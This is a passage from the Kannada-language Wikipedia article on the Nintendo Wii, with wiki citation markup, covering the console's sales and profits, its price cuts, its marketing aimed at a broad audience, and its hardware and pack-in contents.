ಕೆನಡಾದಲ್ಲಿ 376,000 ಘಟಕಗಳ ಮಾರಾಟದೊಂದಿಗೆ ವೈ PS3 ಮತ್ತು Xbox 360 ಗಿಂತ ಹೆಚ್ಚು ಮಾರಾಟವಾಯಿತು.<ref>{{cite web|url=http://ca.news.yahoo.com/indepth/gaming/s/capress/080826/technology/technology_games_wii_million_2|title=Nintendo Wii surpasses mark of one million consoles sold in Canada |first=Neil|last=Davidson| date=2008-08-26|work=[[The Canadian Press]]|publisher=[[Yahoo!]]|accessdate=2008-09-08}}{{Dead link|date=April 2009}}</ref> GfK [[ಚಾರ್ಟ್-ಟ್ರಾಕ್]] ಪ್ರಕಾರ ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಂನಲ್ಲಿ, ಜನವರಿ 3,2008ರಂತೆ ವೈನ 4.9 ಮಿಲಿಯನ್‌ ಘಟಕಗಳು ಮಾರಾಟವಾಗುವುದರೊಂದಿಗೆ ಪ್ರಸ್ತುತ ಪೀಳಿಗೆ ಕನ್ಸೊಲ್ ಮಾರಾಟಗಳಲ್ಲಿ ಮುಂದಳಾತ್ವ ವಹಿಸಿದೆ.<ref>{{cite web|url=http://www.gamesindustry.biz/articles/console-installed-base-reaches-22m-in-uk|title= Console installed base reaches 22m in UK|first=Matt|last=Martin|work=[[Eurogamer|GamesIndustry.biz]]|publisher=[[Eurogamer]]|date=2009-01-13| accessdate=2009-01-15}}</ref><ref>{{cite web|url=http://www.mcvuk.com/news/31902/Nintendo-rules-official-UK-hardware-figures|title= Nintendo rules official UK hardware figures|first=Tim|last=Ingham|date=2008-09-30|publisher=[[Market for Home Computing and Video Games]]|accessdate= 2008-10-02}}</ref> ಮಾರ್ಚ್ 25, 2009ರಂದು, [[ಆಟದ ಅಭಿವರ್ಧಕರ ಸಮ್ಮೇಳನ]]ದಲ್ಲಿ, ಪ್ರಪಂಚದೇಲ್ಲೆಡೆಯ ವೈನ ಹಡಗು ಸಾಗಣೆಗಳು 50 ಮಿಲಿಯನ್ ತಲುಪಿದೆ ಎಂದು [[ಸಟೋರು ಇವಟಾ]] ಹೇಳಿದರು.<ref>{{cite web|url=http://www.gamespot.com/news/6206693.html?tag=recent_news;title;1|title=Nintendo's GDC conference|date=2009-03-25|accessdate=2009-03-25|first=Tor|last= Thorsen|publisher=[[GameSpot]]}}</ref> ಸಾಫ್ಟ್‌ವೇರ್ ಮಾರಾಟಗಳಲ್ಲಿ ಧೀರ್ಘ ಅವಧಿಯ ಲಾಭಗಳನ್ನು ಮಾಡುವ ಭರವಸೆಗಳಲ್ಲಿ ಕನ್ಸೊಲ್‌ಗಳನ್ನು ತಯಾರಿಸಿ ಮೈಕ್ರೊಸಾಪ್ಟ್ಟ್ ಮತ್ತು ಸೋನಿ ನಷ್ಟಗಳನ್ನು ಅನುಭವಿಸಿದೆ, ಪ್ರತಿ ವೈ ಘಟಕದ ಮಾರಾಟದ ಜೊತೆ ಒಂದು ಗಮನಾರ್ಹ ಲಾಭದ ಮಿತಿಯನ್ನು ಗಳಿಸಲು ತಯಾರಿಕ ವೆಚ್ಚವನ್ನು ನಿಂಟೆಂಡೊ ವರದಿಯಾಗುವಂತೆ ಅತ್ಯುತ್ತಮವಾಗಿಸಿದೆ.<ref name="wiisalesprofit">{{cite web|url= http://seekingalpha.com/article/34357-game-console-wars-ii-nintendo-shaves-off-profits-leaving-competition-scruffy|date=2007-05-03|author=Roger Ehrenberg|title=Game Console Wars II: Nintendo Shaves Off Profits, Leaving Competition Scruffy|publisher=seekingalpha.com| accessdate=2007-06-10}}</ref> ಮಾರಾಟವಾದ ಪ್ರತಿ ವೈನ ಈ ನೇರ ಲಾಭವು ಜಪಾನ್‌ನಲ್ಲಿ $13ನಿಂದ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ $49ಗೆ ಮತ್ತು ಯುರೋಪ್‌ನಲ್ಲಿ $79ಗೆ ವ್ಯತ್ಯಾಸವಾಗಬಹುದು ಎಂದು ಸೆಪ್ಟೆಂಬರ್ 17, 2007ರಂದು, ಫೈನ್ಯಾಶಿಯಲ್ ಟೈಮ್ಸ್ ವರದಿ ಮಾಡಿತು.<ref name="wiiunitsprofit">{{cite web|url=http://www.gamedaily.com/articles/features/report-nintendo-makes-about-49-per-wii-sold-in-us/70921/?biz=1|date=2007-09-17|first=James|last=Brightman|title=Report: Nintendo Makes About $49 Per Wii Sold in U.S.|publisher=gamingdaily.BIZ|accessdate=2007-09-18|archive-date=2010-08-15|archive-url=https://web.archive.org/web/20100815075610/http://www.gamedaily.com/articles/features/report-nintendo-makes-about-49-per-wii-sold-in-us/70921/?biz=1|url-status=dead}}</ref> ಡಿಸೆಂಬರ್‌ 2, 2008ರಂದು, [[ಫೊರ್ಬ್ಸ್]] ಹೀಗೆ ವರದಿ ಮಾಡುತ್ತದೆ, ನಿಂಟೆಂಡೊ ಮಾರಾಟಮಾಡಿದ ಪ್ರತಿ ವೈ ಘಟಕಕ್ಕೆ ಒಂದು $6 ಲಾಭ ಗಳಿಸುತ್ತದೆ.<ref>{{cite web|url=http://www.gamespot.com/news/6201833.html|title=Report: Nintendo banks $6 on each Wii sold|first=Tom|last=Magrino|publisher=[[GameSpot]]|date=2008-12-02|accessdate=2008-12-07}}</ref> ಅದರ ಅರ್ಥಿಕ ವರ್ಷಕ್ಕೆ (ಏಪ್ರಿಲ್ 1, 2008—ಮಾರ್ಚ್ 31, 2009) ಅಪ್‌ರೇಟಿಂಗ್ ಲಾಭಗಳಲ್ಲಿ ಹೆಚ್ಚಿಸುತ್ತದೆ, ಮತ್ತು ಹಿಂದಿನ ವರ್ಷಕ್ಕೆ ಹೋಲಿಸಿದರೆ ಗಳಿಕೆಗಳ ದಾಖಲೆಯನ್ನು ಸ್ಥಾಪಿಸುವ ಮಾರಾಟದಲ್ಲಿ ಏರಿಕೆಯನ್ನು ಮಾಡುತ್ತದೆ ಎಂದು ಮೇ 7, 2009ರಂದು ನಿಂಟೆಂಡೊ ವರದಿಮಾಡಿತು. ''[[ಬ್ಯುಸಿನೆಸ್‌ವೀಕ್‌]]'' ನ ಕೆಂಜಿ ಹಾಲ್, ವೈ ಮತ್ತು ಡಿಎಸ್‌ಐ ಉತ್ಪನ್ನಗಳನ್ನು ಗಮನದಲ್ಲಿರಿಸಿಕೊಂಡು ಕಂಪೆನಿಯ ಕುರಿತಾಗಿ "ಜಪಾನ್‌ನ ತಂತ್ರಜ್ಞಾನದ ರಂಗದಲ್ಲಿ ಇದೊಂದು ಉಜ್ವಲ ತಾರೆ" ಎಂದು ಹೇಳುತ್ತಾರೆ.<ref name="peaked" /> ಆದಾಗ್ಯೂ, ಕೊನೆಯವರೆಗೆ ಸ್ಟೇಕ್‌ಗಳನ್ನು ಕಂಪೆನಿಯು ಇಟ್ಟುಕೊಳ್ಳುತ್ತೊ ಇಲ್ಲವೊ ಎಂಬ ಸಂದೇಹವನ್ನು ನಿಂಟೆಂಡೊನ ಅರ್ಥಿಕ ಭವಿಷ್ಯಗಳು ಮಾರ್ಚ್ 2010ರವರೆಗೆ ಹೂಡಿಕೆದಾರರು ಮತ್ತು ವಿಶ್ಲೇಷಣಕಾರರು ಹೊಂದಿದ್ದರು. 2008—2009ರ ನಿಂಟೆಂಡೊದ ಆರ್ಥಿಕ ವರ್ಷಕ್ಕೆ, ಹಿಂದಿನ ವರ್ಷವನ್ನು ಹೋಲಿಸಿದಾಗ, ಪ್ರಪಂಚದ ಮಾರುಕಟ್ಟೆಗಳಿಗೆ ಒಂದು ಮುಂದಾಳತ್ವದ ದಿಕ್ಕುಸೂಚಿಯ ಹಾಗೆ ಕೆಲಸಮಾಡಲು ಹವಣಿಸುವ, ಜಪಾನಿನ ಮಾರುಕಟ್ಟೆ, ವೈ ಮಾರಾಟಗಳಲ್ಲಿ 47% ಕುಸಿತವನ್ನು ಕಂಡಿತು. 2009ರಲ್ಲಿ ಆಟದ ಕನ್ಸೊಲ್ ಮಾರಾಟಗಳು ಬಹುಮಟ್ಟಿಗೆ ಕುಸಿಯುತ್ತದೆ ಎಂದು ವಿಶ್ಲೇಷಣಾಕಾರರು ಭವಿಷ್ಯ ನುಡಿದರು, ಈ ನಡುವೆ Xbox 360ನ ಬೆಲೆಯಲ್ಲಿ ಕಡಿತ ಮತ್ತು ಒಂದು ಚಲನ-ಸಂವೇದಕ ತಂತಿರಹಿತ ನಿಯಂತ್ರಕದ ಸೋನಿಯ ಪ್ರಕಟಣೆಯ ವಂದತಿಗಳು "ನಿಂಟೆಂಡೊನ ದೊಡ್ಡ ಅನುಕೂಲಗಳು ಕಾಣೆಯಾಗುತ್ತಿವೆ" ಎಂದು ಹಾಲ್ ವಾದ ಮಾಡಿದರು. ಸೆಪ್ಟೆಂಬರ್ 23, 2009ರಂದು, ನಿಂಟೆಂಡೊ ಕನ್ಸೊಲ್‌ಗೆ ಅದರ ಮೊದಲ ಬೆಲೆ ಇಳಿಕೆಗಳನ್ನು ಘೋಷಿಸಿತು. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ, $50ಗಳಷ್ಟು ಬೆಲೆ ಕಡಿತ ಮಾಡಲಾಯಿತು ಫಲಿತಾಂಶವಾಗಿ $199.99ರ ಒಂದು ಹೊಸ MSRP ಸೆಪ್ಟೆಂಬರ್ 27, 2009ರಂದು ಜಾರಿಗೆ ಬಂತು.<ref>{{cite press release | title = Wii at $199.99 Beginning Sept. 27 | publisher = Nintendo | date = 2009-09-23 | url = http://www.nintendo.com/whatsnew/detail/XCq1UmMT9VWxmYOyGW0SSdf0y4LwDdri | accessdate = 2009-09-23}}</ref> ಜಪಾನ್‌ಗೆ, ಬೆಲೆಯನ್ನು ¥25,000ರಿಂದ ¥20,000ಗೆ ಕಡಿತಗೊಳಿಸಲಾಯಿತು, ಆಕ್ಟೊಬರ್‌ 1, 2009ರಿಂದ ಜಾರಿಗೆ ಬರಲಾಯಿತು.<ref>[http://www.nintendo.co.jp/corporate/release/2009/090924.html ニュースリリース：2009年9月24日]</ref> ಯುರೋಪ್‌ನಲ್ಲಿ (ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಂ ಹೊರತು ಪಡಿಸಿ), ಒಂದು ವೈ ಕನ್ಸೊಲ್‌ನ ಬೆಲೆ €199ರಿಂದ €249ಗೆ ಕಡಿತಗೊಂಡಿತು.<ref>http://www.gamesindustry.biz/articles/europe-gets-eur-50-wii-price-cut.</ref> ಡಿಸೆಂಬರ್‌ 2009ರಲ್ಲಿ, ನಿಂಟೆಂಡೊ U.S.ನಲ್ಲಿ ಮೂರು ಮಿಲಿಯನ್ ವೈ ಕನ್ಸೊಲ್‌ಗಳು ಮಾರಾಟಗೊಂಡವು, ಆ ತಿಂಗಳಿಗೆ ಒಂದು ಪ್ರಾದೇಶಿಕ ದಾಖಾಲೆಯನ್ನು ಸ್ಥಾಪಿಸಿತು ಮತ್ತು ಬೆಲೆ ಕಡಿತ ಮತ್ತು ''[[ನ್ಯೂ ಸೂಪರ್ ಮಾರಿಯೋ Bros. ವೈ]]'' ಸಾಫ್ಟ್‌ವೇರ್ ಬಿಡುಗಡೆಗಳ ಪರಿಣಾಮವಾಗಿ, ಕ್ಷೀಣಿಸಿದ ಮಾರಾಟಗಳ 9 ತಿಂಗಳನ್ನು ಕೊನೆಗೊಳಿಸಿತು.<ref>{{cite web| author= Pavel Alpeyev| date= 2010-01-05| title= Nintendo Shares Rise After Record Wii Sales in U.S.| publisher=[[BusinessWeek]]|url= http://www.businessweek.com/news/2010-01-05/nintendo-shares-rise-after-record-wii-sales-in-u-s-update2-.html|accessdate =2010-01-05}}</ref><ref>{{cite web| author= Kiyoshi Takenaka| date= 2010-01-05| title= Nintendo Shares Rise After Record Wii Sales in U.S.| publisher=Reuters|url= http://www.reuters.com/article/idUSTOE6040A420100105|accessdate =2010-02-27}}</ref> ಆ ತಿಂಗಳ ಕೊನೆಯ ಪ್ರಕಾರ, 67 ಮಿಲಿಯನ್ ಘಟಕಗಳಿಗಿಂತ ಅಧಿಕ ಮಾರಾಟದೊಂದಿಗೆ ವೈಯು ನಿಂಟೆಂಡೊ ತಯಾರಿಸಿದ ಉತ್ತಮ ಮಾರಾಟಗೊಂಡ ಮನೆ ವಿಡಿಯೋ ಗೆಮ್ ಕನ್ಸೊಲ್ ಆಯಿತು, ಮೂಲ [[ನಿಂಟೆಂಡೊ ಎಂಟರ್‌ಟೈನ್ಮೆಂಟ್ ಸಿಸ್ಟಮ್‌]] ಮೀರಿಸಿತು.<ref name="wii sells 67 million" />. ಮಾರ್ಚ್ 31ರಂತೆ, ನಿಂಟೆಂಡೊ ಪ್ರಕಾರ, ಇಡೀ ಪ್ರಪಂಚದಲ್ಲಿ 70.93 ವೈ ಘಟಕಗಳು ಮಾರಾಟವಾಗಿದೆ.<ref name="Nintendo fiscal year report">{{cite web|url=http://www.gamespot.com/news/6261400.html?tag=recent_news;title;1 |title=Nintendo Fiscal year report |date=2010-03-31 |accessdate=2010-05-06 |publisher=[[Gamespot]] |pages=1}}</ref>, 2009-2010ರ ಆರ್ಥಿಕ ವರ್ಷದಲ್ಲಿ 20.53 ಘಟಕಗಳನ್ನು ಮಾರಾಟ ಮಾಡಿದೆ. ===ಜನಸಂಖ್ಯಾಶಾಸ್ತ್ರ=== ನಿಂಟೆಂಡೊ ಅದರ ಕನ್ಸೊಲ್‌ನೊಂದಿಗೆ [[ಏಳನೆ ಪೀಳಿಗೆ]]ಯಲ್ಲಿ ಬೇರೆಯವುಗಳಿಗಿಂತ ಒಂದು ವ್ಯಾಪಕವಾದ [[ಜನಸಂಖ್ಯೆ]]ಯನ್ನು [[ಗುರಿ]]ಯಾಗಿಸುವ ನಂಬಿಕೆಯನ್ನು ಹೊಂದಿದೆ.<ref name="USA Today" /> ಆಗಿನ ಮುಂದೆಬರುವ [[ನಿಂಟೆಂಡೊ DS]] ಆಟಗಾಗಿ''[[Dragon Quest IX: Sentinels of the Starry Skies]]'' ಒಂದು ಪತ್ರಿಕಾಗೋಷ್ಠಿಯಲ್ಲಿ, ಡಿಸೆಂಬರ್‌ 2006ರಂದು, [[ಸಾಟೊರು ಇವಟಾ]] "ನಾವು [[ಸೋನಿ]] ಜೊತೆ ಹೋರಾಡಲು ಯೋಚಿಸುತ್ತಿಲ್ಲ, ಆದರೆ ಆಟ ಆಡಲು ಎಷ್ಟು ಜನರನ್ನು ನಾವು ಪಡೆಯ ಬಹುದು ಎಂಬುದರ ಬಗ್ಗೆ ಎಂದು ಒತ್ತಿಹೇಳಿದರು. ನಾವು ಯೋಚಿಸುತ್ತಿರುವುದು ಸಾಗಿಸಲು ಸುಲಭವಾದ ವ್ಯವಸ್ಥೆಗಳೇ ಹೊರತು ಕನ್ಸೊಲ್‌ಗಳಲ್ಲ ಮತ್ತು ಆದಕ್ಕಿಂತ ಮುಂದಿನದು, ಆದರೆ ನಾವು ಆಟವಾಡಲು ಹೊಸ ಜನಗಳನ್ನು ಬಯಸುತ್ತೇವೆ."<ref name="IwataSony">{{cite web|title=Dragon Quest IX Q&A|date=2006-12-12|publisher=IGN|accessdate=2006-12-16|url=http://ds.ign.com/articles/750/750610p1.html|archive-date=2006-12-14|archive-url=https://web.archive.org/web/20061214071530/http://ds.ign.com/articles/750/750610p1.html|url-status=dead}}</ref> ಇದು ನಿಂಟೆಂಡೊ‌ದ ಉತ್ತರ ಅಮೆರಿಕದಲ್ಲಿನ [[ಆಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ]] ವಿಜೇತ [[ಸ್ಟೀಫನ್ ಗಾಘನ್]] ನಿರ್ದೇಶಿಸಿದ [[ದೂರದರ್ಶನ ಜಾಹೀರಾತು]]ಗಳ ಸರಣಿಗಳು ಹಾಗು ಅಂತರ‌ಜಾಲ ಜಾಹೀರಾತುಗಳಲ್ಲಿ ಪ್ರತಿಫಲಿಸಿತು. ಜಾಹೀರಾತಿನ ಘೋಷಣೆಗಳಾಗಿ ''"Wii would like to play" '' ಮತ್ತು ''"Experience a new way to play."'' ಎಂಬ ಸಾಲುಗಳನ್ನು ಹೊಂದಿತ್ತು. ಈ ಜಾಹೀರಾತುಗಳು ನವೆಂಬರ್‌ 15, 2006ರಿಂದ ಆರಂಭವಾಯಿತು ಮತ್ತು ವರ್ಷವಿಡೀ [[US$200]] ಮಿಲಿಯನ್‌ಗಿಂತ ಅಧಿಕದ ಒಂದು ಒಟ್ಟು ಬಂಡವಾಳ.<ref>joystiq.com [http://www.joystiq.com/2006/11/12/nintendo-wii-marketing-to-exceed-200-million/ "ನಿಂಟೆಂಡೊ ವೈ ಮಾರ್ಕೆಟೀಂಗ್ ಟು ಎಕ್ಸೀಡ್ 200 ಮಿಲಿಯನ್ "] (ನವೆಂಬರ್ 12, 2006)</ref> ಉತ್ಪಾದನೆಗಳು ನಿಂಟೆಂಡೊದ ಮೊದಲ ವಿಸ್ತಾರವಾದ ಪ್ರಚಾರ ತಂತ್ರ ಮತ್ತು ವೈ ಸಿಸ್ಟಮ್‌ ಅನ್ನು ಉಪಯೋಗಿಸುತ್ತ ಖುಷಿ ಪಡುವ ಜನರನ್ನು ತೋರಿಸುವ ವೈವಿಧ್ಯವುಳ್ಳ ಎರಡು ನಿಮಿಷದ [[ವಿಡಿಯೊ ತುಣುಕ]]ನ್ನು ಒಳಗೊಂಡಿತ್ತು. ಈ ವಿಡಿಯೋ ತುಣುಕಿನಲ್ಲಿ ನಗರದ ಅಪಾರ್ಟ್‌ಮೆಂಟ್-ವಾಸಿಗಳು, ಹಳ್ಳಿಯ ಹುಲ್ಲುಗಾವಲಿನವರು ಅಜ್ಜ-ಅಜ್ಜಿಯರು ಮತ್ತು ಹೆತ್ತವರು ಅವರ ಮಕ್ಕಳು ವೈ ಜೊತೆ ಖುಷಿಯಾಗಿ ಆಡುತ್ತಿರುವಂತೆ ತೋರಿಸಲಾಯಿತು. ಜಾಹೀರಾತಿನಲ್ಲಿಯ ಸಂಗೀತವು [[ಯೊಷಿದ ಸಹೋದರರ]] "ಕೊಡೊ (Inside the Sun Remix)" ಹಾಡಿನದ್ದಾಗಿದೆ.<ref name="jap_commercial">{{cite web|title=Wii For All&nbsp;— Wii Would Like To Play|date= 2006-12-10|publisher=The Inspiration Room Daily|accessdate=2007-01-16|url= http://theinspirationroom.com/daily/2006/wii-for-all}}</ref> ಮಾರಾಟದ ಕಾರ್ಯಚರಣೆ ಯಶಸ್ವಿ ಎಂದು ಸಾಬೀತಾಯಿತು: 103 ವರ್ಷ ವಯಸ್ಸಿನ [[ಪಿಂಚಣಿದಾರ]]ರೂ ಕೂಡ ಯುನೈಟೆಡ್‌ ಕಿಂಗ್‌ಡಂನಲ್ಲಿ ವೈ ಅನ್ನು ಆಟವಾಡಿದ ವರದಿಯಾಗಿದೆ ಎಂದು ಬ್ರಿಟಿಷ್ ವಾರ್ತಾಪತ್ರಿಕೆ ''[[ದಿ ಪೀಪಲ್]]'' ಸಹ ಹೇಳಿಕೆ ನೀಡಿತು.. ==ಯಂತ್ರಾಂಶ== [[File:NintendoStackTransparent.png|thumb|ವೈ(ಮೇಲೆ) ಜಿಸಿಎನ್,ಎನ್64 ,ಉತ್ತರ ಅಮೆರಿಕಾದ ಎಸ್‌ಎನ್‌ಇ‌ಎಸ್ ಮತ್ತು ಎನ್‌ಇ‌ಎಸ್‌ನ ಗಾತ್ರಕ್ಕೆ ಹೋಲಿಸಲಾಗಿದೆ]] ಇಂದಿನವರೆಗೆ ವೈ ನಿಂಟೆಂಡೊ ಅತಿ ಸಣ್ಣದಾದ ಕನ್ಸೊಲ್ ಆಗಿದೆ; ಅದರ ಲಂಬರೇಖೆಯ ದೃಷ್ಟಿಕೋನದಲ್ಲಿ ಅದು 44&nbsp;[[mm]] (1.73&nbsp;[[in]]) ಅಗಲ, 157&nbsp;mm (6.18&nbsp;in) ಉದ್ದ ಮತ್ತು 215.4&nbsp;mm (8.48&nbsp;in) ಆಳ ಅಳೆಯುತ್ತದೆ , ಮೂರು [[DVD ಪೆಟ್ಟಿಗೆಗಳ]]ನ್ನು ಒಟ್ಟಿಗೆ ಸಂಗ್ರಹ ಮಾಡಿರುವುದಕ್ಕಿಂತ ಸ್ವಲ್ಪ ದೊಡ್ಡದಾಗಿದೆ. ಸ್ಟ್ಯಾಂಡ್ ಸೇರಿ 55.4&nbsp;mm (2.18&nbsp;in) ಅಗಲ, 44&nbsp;mm (1.73&nbsp;in) ಉದ್ದ ಮತ್ತು 225.6&nbsp;mm (8.88&nbsp;in) ಆಳವಾಗಿದೆ. ಯಂತ್ರವು 1.2&nbsp;[[kg]] (2.7&nbsp;[[lb]]) ಭಾರವಿದೆ,<ref name="WiiWeight">{{cite web|url=http://www.pcworld.com/article/127859/a_closer_look_at_the_nintendo_wii.html|archiveurl=https://web.archive.org/web/20080205074335/http://www.pcworld.com/article/id,127859-page,1/article.html|archivedate=2008-02-05|title=A Closer Look at the Nintendo Wii|first=Danny|last=Allen|publisher=PC World|date=2006-11-17|accessdate=2007-03-08}}</ref> ಈ ತೂಕವು ಇದನ್ನು ಮೂರು ಪ್ರಮುಖ [[ಏಳನೇ ಪೀಳಿಗೆ]] ಕನ್ಸೊಲ್‌ಗಳ ಅತಿ ಹಗುರ ಕನ್ಸೊಲ್‌ನನ್ನಾಗಿ ಮಾಡುತ್ತದೆ. ಕನ್ಸೊಲ್‌ನನ್ನು ಅಡ್ದಲಾಗಿ ಅಥವಾ ಲಂಬವಾಗಿ ಇಡಲು ಸಾಧ್ಯ. ಈ ಉಪಕರಣದ ಗುರುತಿಗಾಗಿ ಹಾಕಲ್ಪಡುವ ಸಂಖ್ಯೆಯು "RVL-" ಎಂಬುದರಿಂದ ಪ್ರಾರಂಭವಾಗಿ ಇದರ ನಂತರ ರೆವೊಲ್ಯೂಷನ್ ಎಂಬ [[ಗುಪ್ತ ನಾಮ]] ಇರುತ್ತಿತ್ತು.<ref>{{cite news|title=Wii controller world tour|page=8|publisher=[[NGamer]]|date=2007-07-13| url=<!-- add web archive if available -->|accessdate=2007-01-01}}</ref> ಕನ್ಸೊಲ್ ಒಂದು ಪುನರಾವರ್ತಕ ಮಾದರಿಯ ವಿಷಯವನ್ನು ಸಹ ಮುಖ್ಯಭಾಗವಾಗಿ ಹೊಂದಿದೆ: ಸ್ವಂತ ಕನ್ಸೊಲ್‌ [[SD ಕಾರ್ಡ್ಸ್]] ಆಗಿದೆ, ವಿದ್ಯುತ್‌ ಸರಾಬರಾಜು ಮತ್ತು ಎಲ್ಲಾ ಸಾಕೆಟ್‌ಗಳು ಒಂದು ತ್ರಿಕೋನದ ರೂಪದಲ್ಲಿ ಅವುಗಳ ಮೂಲೆಗಳ ಒಂದು ಸೀಳನ್ನು ಹೊಂದಿದೆ. ಕನ್ಸೊಲ್‌ನ ಮುಂಭಾಗ ಅಪ್ಟಿಕಲ್‌ ಮಿಡಿಯಾ ಡ್ರೈವ್‌ ಅನ್ನು ಲೋಡ್‌ ಮಾಡುವ ಒಂದು ಪ್ರಕಾಶಿಸುವ ಸ್ಲಾಟ್‌ನ್ನು ಹೊಂದಿದೆ, ಅದು ಎರಡೂ 12&nbsp;cm [[ವೈ ಅಪ್ಟಿಕಲ್ ಡಿಸ್ಕ್‌ಗಳು ಮತ್ತು ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್ ಗೆಮ್ ಡಿಸ್ಕ್‌]]ಗಳನ್ನು ಅಂಗೀಕರಿಸುತ್ತದೆ. ಡಿಸ್ಕ್‌ ಸ್ಲಾಟ್‌ನ ನೀಲಿ ದೀಪವು ಕನ್ಸೊಲ್‌ನನ್ನು ಚಾಲನೆಗೊಳಿಸಿದಾಗ ಸಂಕ್ಷಿಪ್ತವಾಗಿ ಬೆಳಗುತ್ತದೆ ಮತ್ತು [[ವೈಕನೆಕ್ಟ್24]] ಮೂಲಕ ಡಾಟವು ಸ್ವೀಕರಿಸಲ್ಪಟ್ಟಾಗ ‌ ಕಂಪಿಸುತ್ತದೆ. ನವೀಕರಣದ ನಂತರ ಅದು ಸಿಸ್ಟಮ್ ಮೆನ್ಯು 3.0ಯನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ, ಡಿಸ್ಕ್‌ ಸ್ಲಾಟ್ ದೀಪ ವೈ ಡಿಸ್ಕ್‌‌ನ್ನು ಅಳವಡಿಸಿದಾಗ ಅಥವಾ ವಿಸರ್ಜಿಸಿದಾಗಲೆಲ್ಲಾ ಡಿಸ್ಕ್‌ ಸ್ಲಾಟ್ ದೀಪ ಕ್ರಿಯಾ ಮುಖವಾಗುತ್ತದೆ. ವೈ ಕನೆಕ್ಟ್ 24 ಮಾಹಿತಿ ಇಲ್ಲದಾಗ, ದೀಪವು ಅಫ್‌ ಆಗಿರುತ್ತದೆ. ಗೇಮ್‌ಪ್ಲೇ ಸಮಯದಲ್ಲಿ ಅಥವಾ ಇತರೆ ಗುಣಲಕ್ಷಣಗಳನ್ನು ಬಳಸುವಾಗ ಡಿಸ್ಕ್ ಸ್ಲಾಟ್ ದೀಪವು ಅಫ್‌ ಅಗಿ ಇರುತ್ತದೆ. ಎರಡು [[USB]] ಪೋರ್ಟ್‌ಗಳು ಅದರ ಹಿಂಭಾಗದಲ್ಲಿ ಸ್ಥಾಪಿತವಾಗಿದೆ. ಕನ್ಸೊಲ್‌ನ ಮುಂಭಾಗದ ಮೇಲೆ ಕವರ್‌/ಹೊದಿಕೆಯ ಹಿಂದೆ ಒಂದು SD ಕಾರ್ಡ್‌ ಸ್ಲಾಟ್‌ ಮರೆಯಾಗಿದೆ. ಕನ್ಸೊಲ್, ಕನ್ಸೊಲ್‌ನನ್ನು ಲಂಬವಾಗಿ ಇಡಲು ಅವಕಾಶಿಸುವ ಒಂದು ಸ್ಟಾಂಡ್‌, ಮುಖ್ಯ ಸ್ಟ್ಯಾಂಡ್‌ಗೆ ವೃತ್ತಕಾರದ ಪಾರದರ್ಶಕ ಸ್ಥಿರಕಾರಿ (ಸ್ಟೆಬ್‌ಲೆಜರ್), ಒಂದು [[ವೈ ರಿಮೊಟ್‌]], ಒಂದು [[ನನ್‌‍ಚುಕ್‌]] ಆಟ್ಯಾಚ್‌ಮೆಂಟ್‌, ಒಂದು [[ಸಂವೇದಕ ಪಟ್ಟಿ]], ಪಟ್ಟಿಗಾಗಿ ಒಂದು ತೆಗೆಯಬಲ್ಲ ಸ್ಟ್ಯಾಂಡ್, ಒಂದು ಬಾಹ್ಯ [[ಪವರ್‌ ಅಡ್ಪಟರ್‌]], ಎರಡು [[AA ಬ್ಯಾಟರಿಗಳು]], ಒಂದು [[ಸಂಯುಕ್ತ AV ಕೇಬಲ್]] ಜೊತೆಗೆ [[RCA ಕನೆಕ್ಟರ್‌]]ಗಳು, ಯುರೋಪಿಯನ್ ದೇಶಗಳಲ್ಲಿ ಒಂದು [[SCART]] ಆಡಪ್ಟರ್ ([[ಕಪೋನೆಂಟ್ ವಿಡಿಯೋ]] ಮತ್ತು ಕೇಬಲ್‌ಗಳ ಇತರೆ ವಿಧಗಳು ಪ್ರತ್ಯೇಕವಾಗಿ ಲಭ್ಯ), ಕಾರ್ಯನಿರ್ವಹಣೆಯ ಸಾಕ್ಷ್ಯ ಸಂಕಲನ, ಮತ್ತು ಜಪನ್‌ ಮತ್ತು ದಕ್ಷಿಣ ಕೊರಿಯಾವನ್ನು ಹೊರತು ಪಡಿಸಿ ಎಲ್ಲಾ ಪ್ರದೇಶಗಳಲ್ಲಿ, ''[[ವೈ ಸ್ಪೋರ್ಟ್ಸ್]]'' ‌ನ ಒಂದು ಪ್ರತಿಗಳನ್ನು [[ವೈ ಆರಂಭ]] ಪ್ಯಾಕೇಜ್ ಒಳಗೊಂಡಿದೆ.ವೈನ ಡಿಸ್ಕ್‌ ರೀಡರ್‌ [[DVD-ವಿಡಿಯೋ]] ಅಥವಾ [[DVD-ಅಡಿಯೋ]] ಡಿಸ್ಕ್‌ಗಳನ್ನು ಓದುವುದಿಲ್ಲ.<ref name="No DVD-Wii 2007">{{cite web|url=http://www.reghardware.co.uk/2007/11/09/wii_dvd_playback_delayed/|title=Nintendo confirms Wii DVD support coming|accessdate=2007-11-28|last=Sherwood|first= James|date=2007-11-09|work=[[The Register]] Hardware|publisher=Situation Publishing}}</ref> DVD-ವಿಡಿಯೋ ಪ್ಲೇಬ್ಯಾಕ್‌ನ ಸಾಮರ್ಥ್ಯದ ವೈನ ಒಂದು ಹೊಸ ಆವೃತ್ತಿ 2007ರಲ್ಲಿ<ref name="No DVD-Wii 2007"/> ಬಿಡುಗಡೆಯಾಗುತ್ತದೆ ಎಂದು 2006ರ ಒಂದು ಪ್ರಕಟಣೆ ಹೇಳಿಕೆ ನೀಡಿತ್ತು; ಆದರೆ ನಿಂಟೆಂಡೊ ಬೇಡಿಕೆಯನ್ನು ಪೂರೈಸಲು ಅದರ ಬಿಡುಗಡೆಗೆ ಮೂಲ ಕನ್ಸೊಲ್‌‌ ತಯಾರಿಕೆಯ ಮೇಲೆ ಕೆಂದ್ರಿಕರಿಸವುದನ್ನು ವಿಳಂಬಗೊಳಿಸಿತು. ನಿಂಟೆಂಡೊದ ಆರಂಭಿಕ ಪ್ರಕಟಣೆ ಹೀಗೆ ವ್ಯಕ್ತಪಡಿಸುತ್ತದೆ ನೆರವೇರಿಸಲು ಇದು "ಒಂದು ಫೈರ್‌ವೇರ್ ಅಭಿವೃದ್ಧಿಪಡಿಸುವುದಕ್ಕಿಂತ ಹೆಚ್ಚಿನದನ್ನು ಬೇಡುತ್ತದೆ" ಮತ್ತು ಆ ಕಾರ್ಯಗುಣತೆಯನ್ನು ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ವೈ 